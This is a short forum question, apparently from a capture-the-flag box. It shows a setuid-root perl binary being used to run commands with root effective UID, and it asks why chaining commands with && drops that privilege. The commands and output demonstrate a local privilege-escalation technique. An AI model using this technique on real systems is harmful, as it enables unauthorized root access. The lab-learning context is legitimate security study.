I was playing around with setuid perl for command execution (insecure).
I learned from another question, that env - /usr/bin/perl -e 'system("...")' doesn't reset the EUID to RUID, like it's the case for modern implementations of /bin/sh.
However, I cannot execute multiple commands, separated by && or ;, using the above command without perl resetting the EUID?
kube@ctf4-deploy1-65d9686c54-7x2zh:~$ ls -la /usr/bin/perl
-rwsr-xr-x 1 root root 3197768 Mar 31 2019 /usr/bin/perl
kube@ctf4-deploy1-65d9686c54-7x2zh:~$ env - /usr/bin/perl -e 'system("id")'
uid=1000(kube) gid=1000(kube) euid=0(root) groups=1000(kube)
kube@ctf4-deploy1-65d9686c54-7x2zh:~$ env - /usr/bin/perl -e 'system("id && id")'
uid=1000(kube) gid=1000(kube) groups=1000(kube)
uid=1000(kube) gid=1000(kube) groups=1000(kube)